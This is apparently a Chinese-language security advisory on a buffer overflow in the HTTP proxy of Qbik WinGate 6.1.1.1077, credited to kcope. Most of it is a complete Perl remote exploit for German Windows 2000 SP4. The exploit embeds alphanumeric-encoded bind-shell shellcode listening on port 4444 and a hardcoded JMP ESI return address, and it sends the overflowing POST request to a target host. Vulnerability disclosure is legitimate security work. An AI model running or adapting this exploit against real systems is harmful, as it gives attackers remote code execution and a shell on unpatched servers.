发布日期：2006-06-07
更新日期：2006-06-07

受影响系统：

Qbik WinGate 6.1.1.1077

描述：

---

BUGTRAQ  ID: 18312

WinGate是一款Internet共享/代理软件，可让局域网络同时共享一个Internet账号。

Wingate的HTTP代理在处理特制的HTTP请求时存在缓冲区溢出漏洞。以下请求：

POST http://[AAAAAAA....A]/ HTTP/1.0\r\n\r\n

可以触发缓冲区溢出，导致拒绝服务或执行任意代码。

<*来源：kcope （kingcope@gmx.net）
  
  链接：http://marc.theaimsgroup.com/?l=full-disclosure&m=114967467029726&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

### *** Proof of concept (not for "in the wild" kiddies) ***
### QBik Wingate version 6.1.1.1077 remote exploit for Win2k SP4 (german)
### by kcope in 2006
###
use IO::Socket;

if ($ARGV[0] eq "")
{
print "param1 = remote host";
exit;
}

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum \
http://metasploit.com my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e".
"\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58".
"\x4e\x46\x46\x32\x46\x52\x4b\x48\x45\x44\x4e\x33\x4b\x38\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58".
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c".
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x52\x4a\x32\x45\x57\x45\x4e\x4b\x58".
"\x4f\x35\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x34".
"\x4b\x48\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x58".
"\x49\x48\x4e\x46\x46\x32\x4e\x31\x41\x36\x43\x4c\x41\x43\x4b\x4d".
"\x46\x56\x4b\x58\x43\x44\x42\x33\x4b\x58\x42\x34\x4e\x30\x4b\x48".
"\x42\x47\x4e\x31\x4d\x4a\x4b\x58\x42\x54\x4a\x30\x50\x35\x4a\x46".
"\x50\x38\x50\x34\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x46".
"\x43\x35\x48\x56\x4a\x46\x43\x53\x44\x53\x4a\x46\x47\x47\x43\x47".
"\x44\x33\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e".
"\x4e\x4f\x4b\x53\x42\x45\x4f\x4f\x48\x4d\x4f\x45\x49\x38\x45\x4e".
"\x48\x36\x41\x38\x4d\x4e\x4a\x50\x44\x30\x45\x55\x4c\x46\x44\x30".
"\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45".
"\x4f\x4f\x48\x4d\x43\x55\x43\x35\x43\x35\x43\x55\x43\x35\x43\x44".
"\x43\x35\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x56\x4a\x46\x41\x31".
"\x4e\x45\x48\x56\x43\x55\x49\x48\x41\x4e\x45\x59\x4a\x46\x46\x4a".
"\x4c\x41\x42\x37\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x56\x42\x51".
"\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x52".
"\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d".
"\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x35\x4f\x4f\x48\x4d".
"\x42\x35\x46\x35\x46\x55\x45\x55\x4f\x4f\x42\x4d\x43\x59\x4a\x46".
"\x47\x4e\x49\x57\x48\x4c\x49\x57\x47\x35\x4f\x4f\x48\x4d\x45\x45".
"\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x46\x48\x36\x4a\x56\x43\x46".
"\x4d\x46\x49\x38\x45\x4e\x4c\x56\x42\x55\x49\x35\x49\x52\x4e\x4c".
"\x49\x38\x47\x4e\x4c\x46\x46\x34\x49\x38\x44\x4e\x41\x43\x42\x4c".
"\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x42\x50\x4f\x44\x54\x4e\x32".
"\x43\x39\x4d\x58\x4c\x47\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46".
"\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x54\x4f\x4f".
"\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x55\x41\x35\x41\x35\x4c\x56".
"\x41\x30\x41\x55\x41\x55\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x56".
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36".
"\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x58\x47\x45\x4e\x4f".
"\x43\x58\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d".
"\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d".
"\x4f\x4f\x42\x4d\x5a";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '80',
                              Proto    => 'tcp');

$ret = "\x4b\x4f\x9e\x01";    # JMP ESI Win2k SP4 German
$x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSS \
                SSAAAAUUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSBB \
                BBUUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS". \
                $ret."UUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSDD \
                DDUUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSEE \
EEUUUUVVVVWWWWXXXXYYYYZZZZ"; $a = "A" x 2000 . $x . "\x90" x 100 . $shellcode;
print $sock "POST http://$a/ HTTP/1.0\r\n\r\n";


while (<$sock>) {
    print;    
}

建议：

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厂商补丁：

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----
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